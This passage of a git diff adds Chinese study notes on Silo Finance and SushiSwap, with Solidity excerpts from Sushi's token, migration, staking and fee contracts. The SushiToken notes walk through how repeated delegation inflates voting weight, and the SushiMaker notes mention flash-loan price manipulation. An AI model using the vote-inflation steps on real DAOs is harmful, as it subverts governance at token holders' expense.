+![silo-effect](https://miro.medium.com/max/1400/1*0MTmbsVtswOkyeJXtRaDeQ.png)
+
+该协议仅对代币资产实施一个 Silo。这种设计将流动性集中在单个池中，并允许将任何代币用作抵押品来借入其他代币。
+
+## 名词解释
+
+Silo: Silo 是一个孤立的货币市场，仅支持两种资产，即桥梁资产（例如 ETH）和独特的代币。创建时，所有 Silo 共享配置的参数。
+
+![silo](https://miro.medium.com/max/1400/1*yq6Zek7_TI1wQA0l7MPttg.png)
+
+桥接资产: 桥接资产（例如 ETH）连接协议中的所有 Silo。对于一个抵押代币借入另一个代币，该过程需要创建两个头寸，两者都以 ETH 计价，因此它们大致相互抵消。用户对 ETH 的敞口被最小化，但多头和空头的敞口被最大化。
+
+![silo-bridge](https://miro.medium.com/max/1400/1*uuB5UGPlFhzWo4pE1tZlGQ.png)
+
+抵押因素: SILO 提供与 Uniswap 等 AMM 上的流动性提供者 (LP) 池类似的风险隔离。与 Uniswap v1 类似，每个 Silo v1 具有相同的贷款价值 (LTV)、清算阈值、清算惩罚和预言机参数。和 Uniswap 一样，可以为任何资产创建 Silo。用户最多可以借入其抵押品价值的 50%。当债务头寸达到抵押品的 62.5%时，抵押品将被清算。这种高清算门槛降低了在清算事件期间任何 SILO 抵押不足的风险。所有因素都可以在 SILO 上进行调整。
+
+利息模型: 利率是根据抵押品 80% 的目标利用率动态设置的。借助动态利率，Silos 会继续增加或减少资产的借贷利率，直到使用 80% 的抵押品。这优化了利用率，同时也最大化了流动性。动态利率是对 Aave 线性利用率模型的一个有意义的改进，Aave 对 100% 利用率的利率有一个上限，偶尔会导致存款人无法随意提取存款。
+
+Token: 用于参与协议治理的网络原生代币。代币持有者将组成一个 DAO，该 DAO 将监督协议控制的资产并调整抵押因子等功能。
+
+## DAO
+
+Silo 将启动一个完全去中心化的 DAO——我们称之为 Silo DAO。治理代币通过投票权和委托权赋予持有者对协议未来的发言权。核心贡献者团队为协议的蓬勃发展奠定了基础，但社区将确保我们成为安全货币市场的领先协议。我们要求社区加入这一旅程。它对所有人开放。
+
+Silo 可能会实施委托投票的治理模型，类似于 Compound 使用的一种。为保证协议早期的技术落地顺利进行，核心开发团队将作为协议的守护者和快照投票的执行者。开发团队在任何时候都无法控制 Silo DAO 的金库。同时，社区将对 Silo DAO 的金库保持 100% 的控制权，并可以通过投票创建提案来影响更改。随着协议启动后尘埃落定，开发团队将慢慢将管理职责完全移交给 Silo DAO。
+
+当实施委托治理模型时，代币持有者可以对提案进行投票，也可以将其投票权委托给社区的其他成员。随着时间的推移，我们将构建一个完整的链上治理应用程序，其中包括一个投票仪表板，可以实时报告和跟踪 DAO 的资产。有关 DAO 的确切后勤及其治理的更多信息将在以后提供。
+
+Silo 遵循最小化治理原则。借贷货币市场是无需许可的，因此不需要干预借贷市场资产的创建或运行。
+
+代币持有者将能够对以下方面进行投票：
+
+- 将协议控制的资产引导到有利于协议发展的地方。
+- 打开/关闭 DAO 的收入机制。
+- 调整每个 Silo 的抵押品因素，例如 LTV 和清算阈值。
+- 批准重要的产品里程碑。
+
+与已建立的 DAO 类似，Silo 治理论坛将是治理成员可以通过向组织的其他成员广播提案来分享他们的意见的地方。然后，每个代币持有者都可以投票接受或拒绝任何提案。
+
+## 代币分配
+
+未来 4 年，将发行 10 亿 silo 代币，分配:
+
+![alloc-chart](<https://776318507-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FUGrWaE3fhxC8AsolAgPJ%2Fuploads%2F1xGU2TPh3mZrwA9rb1Ta%2FMed-2-TokenAllV3%20(2).png?alt=media&token=7ef7d709-a5cb-4f33-86e3-85dd2f3a6987>)
+
+![release-chart](<https://776318507-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FUGrWaE3fhxC8AsolAgPJ%2Fuploads%2FLwxykeDa0AyozhVjfGWW%2FMed-2-ScheduleV2%20(1).png?alt=media&token=330b525c-d44c-468c-8b47-ee42caa3bcb6>)
+
+- Genesis Protocol-Owned Liquidity (10%) — Distributed in the public auction; claimable immediately after the auction
+- Community Treasury (45%) — Linear vesting for 3 years; controlled by the community through governance
+- Early Contributors (6.75%) — Linear vesting for 4 years with 6-month cliff starting after TGE
+- Founding Contributors (21.75%) — Linear vesting for 3 years with 6-month cliff starting after Token Generation Event (TGE)
+- Early Community Rewards (0.2%) — Airdropped to community members in January 2022
+- Early Investors & Early Advisors (6.30%) — Linear vesting for 2 years with 6-month lock starting after TGE
+- Future Contributors & Future Advisors (10%) — Linear vesting for 4 years with 1-year cliff starting after joining the DAO
+
+Token 地址: https://etherscan.io/token/0x6f80310CA7F2C654691D1383149Fa1A57d8AB1f8
+
+## 路线图
+
+![silo-roadmap](https://776318507-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FUGrWaE3fhxC8AsolAgPJ%2Fuploads%2FECaQoX46146UbOAPjKb3%2FRoadmap%20v0205a.png?alt=media&token=d0bbfc55-6186-4f76-b77e-53452b5c636d)
+
+## Silo 稳定币
+
+https://www.silo.finance/post/proposal-silo-stablecoin
+
+- 将发行稳定币, 名字是 SiloDollar, USDs. 这个稳定币将和 ETH 一起作为 bridge asset
+- 将推出 veSilo 激励计划, 激励大家为 SiloDollar 提供流动性
+- peg 其他稳定币
+- 加入 discord, 分享您的想法并与团队和社区成员进行讨论
+
+社区有一个提议，将一半 Bridge asset 使用 Silo 稳定币。
+
+https://gov.silo.finance/t/proposal-silo-stablecoin/170
+
+![asset-pool](https://aws1.discourse-cdn.com/standard11/uploads/silo/original/1X/79bb8da44f63b69eb19cdc869913670725974232.png)
+
+## 参考资料
+
+- 官网: <https://www.silo.finance/>
+- github: <https://github.com/silo-finance>
+- medium: <https://medium.com/silo-protocol/>
+- 介绍: <https://medium.com/silo-protocol/introducing-silo-secure-money-markets-for-all-crypto-assets-73cecc479fa6>
+- 下一代借贷协议 —— Silo Finance: <https://liaoph.com/silo-finance/>
diff --git a/defi/Sushi/DAO/readme.md b/defi/Sushi/DAO/readme.md
new file mode 100644
index 000000000..78d452597
--- /dev/null
+++ b/defi/Sushi/DAO/readme.md
@@ -0,0 +1,28 @@
+# Sushu DAO
+
+
+## 代币模型
+SUSHI 的最大供应量上限为 250,000,000 SUSHI。已经有超过 127,000,000 个 SUSHI 在流通，每个区块铸造的 SUSHI 数量会减少，直到 2023 年 11 月达到最大供应量。有趣的是，SushiSwap 生态系统正在寻求在未来将其治理系统升级为更传统的 DAO 设计。
+
+## 治理流程
+SushiSwap 也有一个类似于社区驱动的治理结构的系统。然而，虽然上面列出的平台的投票使用链上投票或链上和链下投票的混合，但 SushiSwap 的治理主要依赖于链下系统。
+
+在这里，投票是在 Snapshot 上进行的——一个去中心化的无gas投票仪表板。提案首先在 SushiSwap 社区论坛上创建以供审议，然后再移至 Snapshot 进行投票。请注意，只有在论坛中获得足够吸引力的提案才能移动到 Snapshot 以进行适当的投票。SushiSwap Snapshot 中使用的投票指标是 Sushipowah。
+
+要成为合格选民，您必须通过以下任何一种方式持有 SUSHI：
+
+- 1 SUSHI 代币 = 1 SUSHIPOWAH  
+- SUSHI-ETH 池中的 1 SUSHI = 2 SUSHIPOWAH  
+- 通过 xSushi 持有的 1 SUSHI = 1 SUSHIPOWAH。  
+
+**投票流程**
+
+请注意，提案必须获得 5,000,000 票才能实施。当提案超过 5,000,000 票的门槛时，拥有更多票数的决定将决定该提案是被通过还是被拒绝。
+待补充：
+
+
+
+
+## 参考链接
+- how sushi dao works: https://daohaus.substack.com/p/-sushi-dao-?s=r  
+- 十大DAO运作方式: https://www.tuoniaox.com/news/p-520360.html  
\ No newline at end of file
diff --git a/defi/Sushi/README.md b/defi/Sushi/README.md
new file mode 100644
index 000000000..963787b15
--- /dev/null
+++ b/defi/Sushi/README.md
@@ -0,0 +1,54 @@
+# Sushi 
+## 简介  
+SushiSwap于2020年9月由两位匿名开发者推出，他们被称为“大厨”Nomi和0xMaki。作为目前以太坊区块链最受欢迎的去中心化应用程序(DApp)之一，SushiSwap在自己的去中心化交易平台(DEX)协议中采用自动化做市商(AMM)模式。简而言之，SushiSwap不存在订单簿。相反，加密货币的买卖由智能合约促成。  
+
+## 和 Uniswap 关系  
+SushiSwap 最初是 Uniswap的 分叉，以 Uniswap 的代码为基础构建而成，同时引入了一些关键差异。其中最大的差异是奖励以 SUSHI 代币形式发放。SushiSwap 的流动性供应商获得的奖励是协议的原生代币SUSHI，它同时是一种治理代币。与 Uniswap (UNI)不同，即使在停止提供流动性之后，SUSHI 持有者仍能继续赚取收益。    
+虽然 SushiSwap 最初可能是作为 Uniswap 的分支和直接竞争对手开始的，但今天这两个协议服务于两个非常不同的市场。 SushiSwap 的团队通过构建一整套产品来支持代币生命周期，而不仅仅是专注于二级市场，证明了他们提供和保持先发优势的能力。这给了他们一个独特的地位，因为他们不仅在产品方面进行了纵向扩展，而且还将其产品扩展到第一层链和第二层扩展解决方案。这使 Sushi 成为活跃参与者的一个家喻户晓的 DeFi 名字，并在进入一个新的生态系统时提供了一定程度的信任和舒适度
+
+## SushiSwap 功能介绍 
+- 代币兑换  
+和其他去中心化交易所一样，SushiSwap 提供了去中心化的代币兑换功能，可以通过 SushiSwap 进行代币的兑换，交易過程中，你除了可以知道自己的成交價格、手續費、購買數量外，也可以設定滑點的容許限制、Gas Fee 上限…等，對用戶來說相當方便  
+
+- 流动性挖矿  
+用户通过锁定代币，可以获得其他用户进行代币兑换而收取的手续费，从而获得收益 
+
+- 借贷 (Kashi)  
+Kashi 是建立在 Sushiswap 平台中的资金庫，简单來说 Kashi 是一個以借贷协议为基础的融资平台。  
+与大家常見的 DeFi 借贷平台不同的是，Kashi 会将「不同的借贷交易對进行隔离」，这样即使某個交易对发生狀況時，也不至于对整個平台造成重大損失，大大降低了用戶使用平台內借贷的风险。 
+
+- IDO 平台 (MISO) 
+IDO 即为首次在去中心化平台 (DEX) 進行的新代币发售模式；而 Sushiswap上的 IDO 平台 MISO （Minimal Initial SushiSwap Offering） 成立於 2021 年 5 月， 提供项目方能直接向平台上的用戶进行募资。 
+不仅提供用户能即早布局潜力代币的机会，若項目方募資成功也能直接在 Sushiswap 上建立流动性，省去从零開始宣傳相目力气。  
+
+- BentoBox  
+BentoBox 是一个代币库，也能够被是为是一个渠道，既能够让用户用十分低的 Gas 体会到上面的多个 Dapp，也能够让开发者十分容易地、低成本地在上面进行使用开发。  
+目前，上面的第一个 Dapp 借贷产品 Kashi，用户可在此放贷和借贷。为了更好地激励用户参加，咱们也启动了借贷流动性挖矿，用户只需在 Lend 中借出代币（生成 km 代币），再在 Yield 中抵押 km 代币即可参加流动性挖矿。  
+换成国内用户熟悉的比如，BentoBox 能够类比成微信渠道，Kashi 则是上面的第一个小程序。 
+
+## 原理介绍  
+限价单实现： https://docs.sushi.com/products/limit-order-v2
+
+## 合约源码  
+Sushi 的源码放在 github 上，访问 [SushiSwap github](https://github.com/sushiswap/sushiswap) ，然后 clone 源码到本地即可。  
+具体参考如下命令 
+
+```shell
+git clone https://github.com/sushiswap/sushiswap.git 
+```
+
+## 合约分析  
+选取了 SushiSwap 中几个重要的合约进行分析，具体的分析文档存放在 analyze 目录下。
+在上一步的 "合约源码" 中 clone 下 SushiSwap 的源码后，可以参考 analyze 目录下的合约分析文档，同时结合具体的源码进行 SushiSwap 源码的学习解读。
+
+## 参考链接
+- notion 总览: https://wasabinews.notion.site/wasabinews/Wasabi-News-5d63320777c04b51bd71928b318c3247     
+- notion sushi: https://rielychen.notion.site/SUSHI-6568764f66a5446eb9deb0db1527513b  
+- sushi 官网文档： https://docs.sushi.com/   
+- SushiSwap 研究笔记： https://zhuanlan.zhihu.com/p/376117695   
+- SushiSwap 攻击事件(2021年1月27号) 分析: https://zhuanlan.zhihu.com/p/372058217  
+- 由寄生到新生: http://www.liandu24.com/archives/6275.html  
+- 全面理解Sushi的产品与估值逻辑: https://www.defidaonews.com/article/6721072  
+- sushiswap 竞品比较 ： https://sourceforge.net/software/product/SushiSwap/alternatives   
+
+
diff --git a/defi/Sushi/analyze/01-SushiToken.md b/defi/Sushi/analyze/01-SushiToken.md
new file mode 100644
index 000000000..598fefba6
--- /dev/null
+++ b/defi/Sushi/analyze/01-SushiToken.md
@@ -0,0 +1,107 @@
+# 介绍  
+SushiToken 是 SushiSwap 的治理代币，SushiSwap允许用户通过staking UniswapV2上的主流LP token，挖出治理代币SUSHI。每个区块发行100个SUSHI，这些代币将被均匀部署在所有13个池中，前两周(2020.08.29——2020.09.12)，每个区块可获得1000 SUSHI，而SUSHI/ETH池将获得200枚SUSHI。SUSHI代币没有实用价值，只拥有治理权，同时SUSHI代币持有人将分享0.05%的交易费。
+[Ether scan](https://etherscan.io/address/0x6b3595068778dd592e39a122f4f5a5cf09c90fe2#code) 上可以查看 SushiToken 的具体代码.   
+
+## 合约分析  
+SushiToken 合约借鉴了 YAM && COMPOUND 这两个项目的代码，在其代码注释中，明确标注了其代码借鉴的原始项目。 
+合约集成了 ERC20 功能，同时新增了投票代理的功能。
+
+- delegateBySig   
+使用 ECDSA 算法，恢复出签名者后把签名者的投票委托代理给代理者
+```solidity
+/**
+     * @notice Delegates votes from signatory to `delegatee`
+     * @param delegatee The address to delegate votes to
+     * @param nonce The contract state required to match the signature
+     * @param expiry The time at which to expire the signature
+     * @param v The recovery byte of the signature
+     * @param r Half of the ECDSA signature pair
+     * @param s Half of the ECDSA signature pair
+     */
+function delegateBySig(
+        address delegatee,
+        uint nonce,
+        uint expiry,
+        uint8 v,
+        bytes32 r,
+        bytes32 s
+    )
+        external
+    {
+        bytes32 domainSeparator = keccak256(
+            abi.encode(
+                DOMAIN_TYPEHASH,
+                keccak256(bytes(name())),
+                getChainId(),
+                address(this)
+            )
+        );
+
+        bytes32 structHash = keccak256(
+            abi.encode(
+                DELEGATION_TYPEHASH,
+                delegatee,
+                nonce,
+                expiry
+            )
+        );
+
+        bytes32 digest = keccak256(
+            abi.encodePacked(
+                "\x19\x01",
+                domainSeparator,
+                structHash
+            )
+        );
+
+        address signatory = ecrecover(digest, v, r, s);
+        require(signatory != address(0), "SUSHI::delegateBySig: invalid signature");
+        require(nonce == nonces[signatory]++, "SUSHI::delegateBySig: invalid nonce");
+        require(now <= expiry, "SUSHI::delegateBySig: signature expired");
+        return _delegate(signatory, delegatee);
+    }
+```
+
+- _delegate  
+投票代理的核心函数，其中输入的参数 delegator 为被代理人，delegatee 为委托的代理人。 
+观察 _delegate 函数，可以发现它会获取 delegator 当前的 SUSHI 余额，用此余额来更新 delegatee 的投票权重，在这里处理过程中会有个权重增值的问题。 
+比如用户 A 当前有 100 SUSHI， 用户 A 授权用户 B 进行代理后，用户 B 拥有的投票权重为 100 。之后用户 A transfer 50 SUSHI 给用户 C ，然后用户 A 授权用户 D 进行代理投票，那么此时用户 B 拥有 50 的投票权重，用户 D 拥有 50 的投票权重。如果用户 C 把自己的投票代理给 B, 那么 B 拥有的投票权重为 100， 用户 D 拥有的投票权重为 50。  
+可以看到，通过这样的操作，原本只有 100 的投票权重变为了 150，变相实现了投票权重的增值。  
+
+```solidity
+function _delegate(address delegator, address delegatee)
+        internal
+    {
+        address currentDelegate = _delegates[delegator];
+        uint256 delegatorBalance = balanceOf(delegator); // balance of underlying SUSHIs (not scaled);
+        _delegates[delegator] = delegatee;
+
+        emit DelegateChanged(delegator, currentDelegate, delegatee);
+
+        _moveDelegates(currentDelegate, delegatee, delegatorBalance);
+    }
+
+    function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {
+        if (srcRep != dstRep && amount > 0) {
+            if (srcRep != address(0)) {
+                // decrease old representative
+                uint32 srcRepNum = numCheckpoints[srcRep];
+                uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
+                uint256 srcRepNew = srcRepOld.sub(amount);
+                _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
+            }
+
+            if (dstRep != address(0)) {
+                // increase new representative
+                uint32 dstRepNum = numCheckpoints[dstRep];
+                uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
+                uint256 dstRepNew = dstRepOld.add(amount);
+                _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
+            }
+        }
+    }
+
+```
+
+## 参考链接  
+- 官网说明: https://docs.sushi.com/products/yield-farming 
\ No newline at end of file
diff --git a/defi/Sushi/analyze/02-SushiRoll.md b/defi/Sushi/analyze/02-SushiRoll.md
new file mode 100644
index 000000000..87b00d23a
--- /dev/null
+++ b/defi/Sushi/analyze/02-SushiRoll.md
@@ -0,0 +1,74 @@
+# 介绍  
+SushiRoll 是 SushiSwap 的 LP 迁移合约，可以一键帮助用户迁移 Uniswap 的流动性到 SushiSwap。   
+在合约的开头部分，SushiSwap 就已经已经明确的注明此合约是专门用来迁移 UniSwap 的流动性的。
+LP 迁移过程如下：  
+- 调用 migrateWithPermit 接口，传入需要迁移的两个 token 地址，迁移的 LP 大小 ，用户的 ECDSA 签名    
+- migrateWithPermit 调用 pair 合约的 permit ，使用用户授权 SushiRoll 合约操作用户的 LP token      
+-  从旧 pair 合约中迁移 LP 到新 pair 合约中 （ 按照新 pair 合约中 token0 和 token1 当前的比例添加 token0 和 token1 )  
+- 返还迁移后多余的 token0 和 token1 给用户   
+
+
+## 合约分析  
+SushiRoll 中的主要接口为  migrateWithPermit 和 migrate ，这两个接口功能是是一样的，在 migrateWithPermit 中也是调用了 migrate 接口。  
+区别的地方在于 migrateWithPermit 在调用 migrate 之前，先对 SushiRoll 进行了授权，使得 SushiRoll 合约可以操作用户的 liquidity token ，从而进行迁移。 
+在 [Ether scan](https://etherscan.io/address/0x14b2075e6d5993ae10df843f9979296f4b6100c6#code ) 上可以查看 SushiRoll 的具体代码。  
+
+
+- migrateWithPermit  
+此接口比 migrate 接口多了三个 ECDSA 参数，分别是 v/r/s ，用于恢复出签名的用户，进而给 SushiRoll 合约授权操作 liquidity token。 
+具体授权操作调用的是 UniswapV2Pair 合约的 permit 方法。
+
+```solidity
+function migrateWithPermit(
+        address tokenA,
+        address tokenB,
+        uint256 liquidity,
+        uint256 amountAMin,
+        uint256 amountBMin,
+        uint256 deadline,
+        uint8 v,
+        bytes32 r,
+        bytes32 s
+    ) public {
+        IUniswapV2Pair pair = IUniswapV2Pair(pairForOldRouter(tokenA, tokenB));
+        pair.permit(msg.sender, address(this), liquidity, deadline, v, r, s);
+
+        migrate(tokenA, tokenB, liquidity, amountAMin, amountBMin, deadline);
+    }
+```
+
+- migrate  
+这个接口是真正进行流动性迁移的接口，首先把流动性从 UniSwap 中移除，然后再添加到 Sushi 这边，最后判断添加完成后，是否有剩余的 token，有的话则返还给用户。
+```solidity
+function migrate(
+        address tokenA,
+        address tokenB,
+        uint256 liquidity,
+        uint256 amountAMin,
+        uint256 amountBMin,
+        uint256 deadline
+    ) public {
+        require(deadline >= block.timestamp, 'SushiSwap: EXPIRED');
+
+        // Remove liquidity from the old router with permit
+        (uint256 amountA, uint256 amountB) = removeLiquidity(
+            tokenA,
+            tokenB,
+            liquidity,
+            amountAMin,
+            amountBMin,
+            deadline
+        );
+
+        // Add liquidity to the new router
+        (uint256 pooledAmountA, uint256 pooledAmountB) = addLiquidity(tokenA, tokenB, amountA, amountB);
+
+        // Send remaining tokens to msg.sender
+        if (amountA > pooledAmountA) {
+            IERC20(tokenA).safeTransfer(msg.sender, amountA - pooledAmountA);
+        }
+        if (amountB > pooledAmountB) {
+            IERC20(tokenB).safeTransfer(msg.sender, amountB - pooledAmountB);
+        }
+    }
+```
\ No newline at end of file
diff --git a/defi/Sushi/analyze/03-Migrator.md b/defi/Sushi/analyze/03-Migrator.md
new file mode 100644
index 000000000..5c1920175
--- /dev/null
+++ b/defi/Sushi/analyze/03-Migrator.md
@@ -0,0 +1,59 @@
+# 介绍  
+Migrator 也是 SushiSwap 的 LP 迁移合约，和 SushiRoll 不同的是，Migrator 合约用于 Sushi 内部的 LP 迁移，并且只能由 MasterChef 合约进行调用。 
+比如 Sushi 合约进行了升级后，MasterChef 可以调用 migrate 接口，把流动性从旧的 pair 合约中迁移到新的 pair 合约上。具体流程如下：  
+1) 部署合约时设置 oldFactory 和 newFactory 合约地址  
+2）调用 migrate 接口，传入需要迁移的 pair 合约地址； Migrator 把 LP 从 old pair 合约迁移到 new pair 合约，然后判断迁移前后 LP 的大小是否一致，如果一致，本次迁移成功，否则失败  
+
+
+## 合约分析  
+Migrator 合约中只有两个接口，一个 constructor 构造函数和 migrate 迁移函数  
+
+- constructor  
+构造函数用于在 Migrator 合约部署时，接受 4 个参数   
+1） _chef 是 MasterChef 合约的地址    
+2） _oldFactory 就旧的 factory 合约地址   
+3）_factory 新的 factory 合约地址   
+4）notBeforeBlock 限制只能在特定的块高后进行迁移     
+
+```solidity
+constructor(
+        address _chef,
+        address _oldFactory,
+        IUniswapV2Factory _factory,
+        uint256 _notBeforeBlock
+    ) public {
+        chef = _chef;
+        oldFactory = _oldFactory;
+        factory = _factory;
+        notBeforeBlock = _notBeforeBlock;
+    }
+```
+
+- migrate   
+执行 LP 迁移的接口。
+1）首先判断当前进行迁移的旧 factory 合约是否为指定的合约，如果不是则不进行迁移  
+2）在新的 factory 合约中是否存在对应的 pair 交易对，如果不存在则进行创建  
+3）获取 MasterChef 在旧 facotry 的 LP ，然后进行 burn ，获取 token0 和 token1
+4）在新的 pair 合约中添加流动性  
+
+```solidity
+function migrate(IUniswapV2Pair orig) public returns (IUniswapV2Pair) {
+        require(msg.sender == chef, "not from master chef");
+        require(block.number >= notBeforeBlock, "too early to migrate");
+        require(orig.factory() == oldFactory, "not from old factory");
+        address token0 = orig.token0();
+        address token1 = orig.token1();
+        IUniswapV2Pair pair = IUniswapV2Pair(factory.getPair(token0, token1));
+        if (pair == IUniswapV2Pair(address(0))) {
+            pair = IUniswapV2Pair(factory.createPair(token0, token1));
+        }
+        uint256 lp = orig.balanceOf(msg.sender);
+        if (lp == 0) return pair;
+        desiredLiquidity = lp;
+        orig.transferFrom(msg.sender, address(orig), lp);
+        orig.burn(address(pair));
+        pair.mint(msg.sender);
+        desiredLiquidity = uint256(-1);
+        return pair;
+    }
+```
diff --git a/defi/Sushi/analyze/04-SushiBar.md b/defi/Sushi/analyze/04-SushiBar.md
new file mode 100644
index 000000000..36ea6c1b5
--- /dev/null
+++ b/defi/Sushi/analyze/04-SushiBar.md
@@ -0,0 +1,73 @@
+# 介绍  
+用户在 SushiSwap 上交易会收取相应的手续费，其中 0.05% 的手续费会转换成 Sushi token 给予到 SushiBar。用户通过在 Sushi Bar 中质押 SUSHI 代币，根据质押的 Sushi 币在 Sushi Bar 中所占的比例可以获得Sushi token reward 分成。 在质押 Sushi 币的同时，用户还会获得 xSushi token（可增发，无上限），用于社区治理投票。 Sushi token 分配细则举例如下：   
+-  用户添加 sushi token ，获得对应的 xsushi ，计算公式如下       
+receivedXsushi =  $\frac{ stakeAmount }{ totalStakedAmount} \times totalXsushi $    
+totalStakeAmount =  所有用户质押的 sushi 总量     
+stakeAmount  =  用户质押的 sushi 数量   
+totalXsushi =  xsushi 总量    
+
+- 用户提取 sushi token，同时获得奖励的 xsushi ，计算公式如下  
+receivedSushi =  $\frac{ withdrawAmount }{ totalStakedAmount} \times ( totalStakedAmount + rewardAmount ) $    
+totalStakeAmount =  所有用户质押的 sushi 总量     
+withdrawAmount  =  用户提取的 sushi 数量   
+rewardAmount =  0.05% 手续费对应的 Sushi 数量    
+
+官网的描述如下：    
+For every swap on the exchange on every chain, 0.05% of the swap fees are distributed as SUSHI proportional to your share of the SushiBar. When your SUSHI is staked into the SushiBar, you receive xSUSHI in return for voting rights and a fully composable token that can interact with other protocols. Your xSUSHI is continuously compounding, when you unstake you will receive all the originally deposited SUSHI and any additional from fees.
+
+
+## 合约分析  
+SushiBar 总共有 3 个接口，一个 constructor 构造函数，一个 enter 接口，一个 leave 接口。  
+
+- constructor  
+合约部署时，需要传入 sushi token 的地址，用于后续的 sushi token 质押和移除
+```solidity
+constructor(IERC20 _sushi) public {
+        sushi = _sushi;
+    }
+```
+
+- enter  
+质押 sushi token 的入口，用户调用这个接口来进行 sushi token 的质押，以换取 xSushi。  
+观察 enter 函数的接口，可以看到接口是通过 sushi.transferFrom 进行 sushi token 的质押，所以用户在调用这个接口之前，需要对 SushiBar 合约进行 approve。 
+1）首先获取 SushiBar 合约的 sushi token 余额  totalSushi
+2）获取已经 mint 了的 xSushi 的总量 totalSupply  
+3）如果 totalSupply 为 0 ，则直接根据用户传入的 sushi token 的数量，生成等量的 xSushi 给用户
+4）当 totalSupply 不为 0 的时候， 根据用户传入的 sushi token 数量在当前 totalSushi 中的比例，生成等比例的 xSushi 给用户
+
+```solidity
+function enter(uint256 _amount) public {
+        // Gets the amount of Sushi locked in the contract
+        uint256 totalSushi = sushi.balanceOf(address(this));
+        // Gets the amount of xSushi in existence
+        uint256 totalShares = totalSupply();
+        // If no xSushi exists, mint it 1:1 to the amount put in
+        if (totalShares == 0 || totalSushi == 0) {
+            _mint(msg.sender, _amount);
+        } 
+        // Calculate and mint the amount of xSushi the Sushi is worth. The ratio will change overtime, as xSushi is burned/minted and Sushi deposited + gained from fees / withdrawn.
+        else {
+            uint256 what = _amount.mul(totalShares).div(totalSushi);
+            _mint(msg.sender, what);
+        }
+        // Lock the Sushi in the contract
+        sushi.transferFrom(msg.sender, address(this), _amount);
+    }
+```
+
+- leave  
+和移除 LP 类似，根据用户当前传入的 xSushi 占 xSushi 总量的比例，返还对应比例的 sushi token 给用户
+```solidity
+function leave(uint256 _share) public {
+        // Gets the amount of xSushi in existence
+        uint256 totalShares = totalSupply();
+        // Calculates the amount of Sushi the xSushi is worth
+        uint256 what = _share.mul(sushi.balanceOf(address(this))).div(totalShares);
+        _burn(msg.sender, _share);
+        sushi.transfer(msg.sender, what);
+    }
+```
+
+## 参考链接  
+- 官网链接： https://app.sushi.com/stake  
+- 官网说明： https://docs.sushi.com/products/yield-farming  
\ No newline at end of file
diff --git a/defi/Sushi/analyze/05-SushiMaker.md b/defi/Sushi/analyze/05-SushiMaker.md
new file mode 100644
index 000000000..408b68f45
--- /dev/null
+++ b/defi/Sushi/analyze/05-SushiMaker.md
@@ -0,0 +1,88 @@
+# 介绍  
+SushiMaker 是 SushiBar 的手续费收集工具，用于把获得的用户手续费转换为 Sushi token 发送给 SushiBar 合约。当用户提取质押在 SushiBar 上的 Sushi token 的时候，会按比例获得 SushiBar 上获得用户手续费。  
+SushiMaker 转换手续费的逻辑如下：  
+- 用户每次在一个交易对 ( 比如 ETH-DAI ） 上进行交易的时候，支付的手续费会对应的转换为 LP token ，其中手续费 LP token 的 0.05% 会发送给 SushiMaker。    
+- SushiMaker 对于每个交易对会调用对应的 burn 方法，获得 token0 和 token1   
+- SushiMaker 之后再把获得的 token0 和 token1 全部通过 swap 转换为 sushi token   
+- SushiMaker 把转换后的 sushi token 发送给 SushiBar 合约  
+- SushiBar 在用提取质押的 sushi token 的时候，会把 SushiMaker 发送过来的 sushi token 按照用户质押的比例发送给用户   
+
+
+## 合约分析  
+Sushi Maker 有几个重要的接口，下面进行详细介绍。  
+- setBridge   
+设置非 weth/sushi 币种的中间转换币种。因为最终 SushiMaker 发送给 SushiBar 的是 sushi token，所以当不存在不存在此币种和 sushi token 的交易对时，需要通过其他币种进行转换。比如 shib ，当不存在 shib/sushi 这个交易对的时候，可以设置 bridge 为 weth ， 即先把 shib 转换为 weth ，然后再通过 weth/sushi 交易对，把 weth 全部转换为 sushi token。  
+```solidity
+function setBridge(address token, address bridge) external onlyOwner {
+        // Checks
+        require(
+            token != sushi && token != weth && token != bridge,
+            "SushiMaker: Invalid bridge"
+        );
+
+        // Effects
+        _bridges[token] = bridge;
+        emit LogBridgeSet(token, bridge);
+    }
+```
+
+- onlyEOA   
+定义 modifer，用于后面的 convert 接口。因为 SushiMaker 在转换其他 token 为 sushi token 的时候，会进过很多交易对，恶意用户可以通过闪电贷来操纵价格来获利，为了防止闪电贷的攻击，限制调用 convert 的用户只能为 EOA 账户，即非合约账户。  
+```solidity
+modifier onlyEOA() {
+        // Try to make flash-loan exploit harder to do by only allowing externally owned addresses.
+        require(msg.sender == tx.origin, "SushiMaker: must use EOA");
+        _;
+    }
+```
+
+- swap   
+swap 接口为 token 转换接口，即可以使用这个接口把其他 token 转换为 sushi token ( 传入 fromToken 为其他 token，toToken 为 sushi token )，也可是用来把其他 token 转换为中间 token ( 比如 weth )。 需要注意的是，接口最终会返回转换后的 token 数量 ==> amountOut。 amountOut 值为扣除手续费后实际得到的 toToken 数量。 
+```solidity
+function _swap(
+        address fromToken,
+        address toToken,
+        uint256 amountIn,
+        address to
+    ) internal returns (uint256 amountOut) {
+        // Checks
+        // X1 - X5: OK
+        IUniswapV2Pair pair =
+            IUniswapV2Pair(factory.getPair(fromToken, toToken));
+        require(address(pair) != address(0), "SushiMaker: Cannot convert");
+
+        // Interactions
+        // X1 - X5: OK
+        (uint256 reserve0, uint256 reserve1, ) = pair.getReserves();
+        uint256 amountInWithFee = amountIn.mul(997);
+        if (fromToken == pair.token0()) {
+            amountOut =
+                amountInWithFee.mul(reserve1) /
+                reserve0.mul(1000).add(amountInWithFee);
+            IERC20(fromToken).safeTransfer(address(pair), amountIn);
+            pair.swap(0, amountOut, to, new bytes(0));
+            // TODO: Add maximum slippage?
+        } else {
+            amountOut =
+                amountInWithFee.mul(reserve0) /
+                reserve1.mul(1000).add(amountInWithFee);
+            IERC20(fromToken).safeTransfer(address(pair), amountIn);
+            pair.swap(amountOut, 0, to, new bytes(0));
+            // TODO: Add maximum slippage?
+        }
+    }
+```
+
+- _convertStep  
